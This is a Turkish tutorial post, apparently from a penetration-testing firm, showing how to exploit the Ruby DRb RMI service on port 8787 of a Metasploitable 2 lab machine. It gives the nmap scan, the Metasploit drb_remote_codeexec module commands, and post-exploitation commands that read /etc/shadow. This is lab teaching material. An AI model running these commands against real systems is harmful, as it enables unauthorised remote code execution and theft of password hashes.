MSF drb_remote_codeexec İstismar Modülü ile Ruby DRb RMI Zafiyetinin İstismar Edilerek Komut Satırı Bağlantısının Elde Edilmesi

0
184
views
Sızma testleri sırasında tespit edilen zafiyetlerin istismarı ile hedef sistemlerde bir takım yetkiler elde edilebilir. Bu yazıda, Metasploitable 2 üzerindeki Ruby DRb RMI servisine ait zafiyet tespit edildikten sonra istismar edilecek ve bu servisi çalıştıran kullanıcı hakları ile komut satırı bağlantısı elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

DRb (Distributed Ruby) ağ üzerinden veya aynı sistemdeki ruby uygulamalarının birbiri ile iletişim kurmasına yarayan bir kütüphanedir. Böylece farklı bir Ruby prosesindeki bir nesne RMI / RPC (Remote Method Invocation / Remote Procedure Call) ile çağırılabilir.

IP adresi 192.168.162.131 olan Metasploitable 2, Nmap ile taratıldığında TCP 8787. portta Ruby DRb RMI servisinin çalıştığı ve bu servisin 1.8 sürümünün kullanıldığı görülmektedir.

nmap 192.168.162.131 -p 8787 -sV

acquiring-command-line-on-linux-by-using-msf-drb-remote-codeexec-exploit-module-01

 

Bu servise ait istismar kodu bulunur.

search druby
use exploit/linux/misc/drb_remote_codeexec
show options

acquiring-command-line-on-linux-by-using-msf-drb-remote-codeexec-exploit-module-02

 

Modül çalıştırılır.

set URI druby://192.168.162.131:8787
run
hostname
id
head -5 /etc/shadow

acquiring-command-line-on-linux-by-using-msf-drb-remote-codeexec-exploit-module-03

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

This site uses Akismet to reduce spam. Learn how your comment data is processed.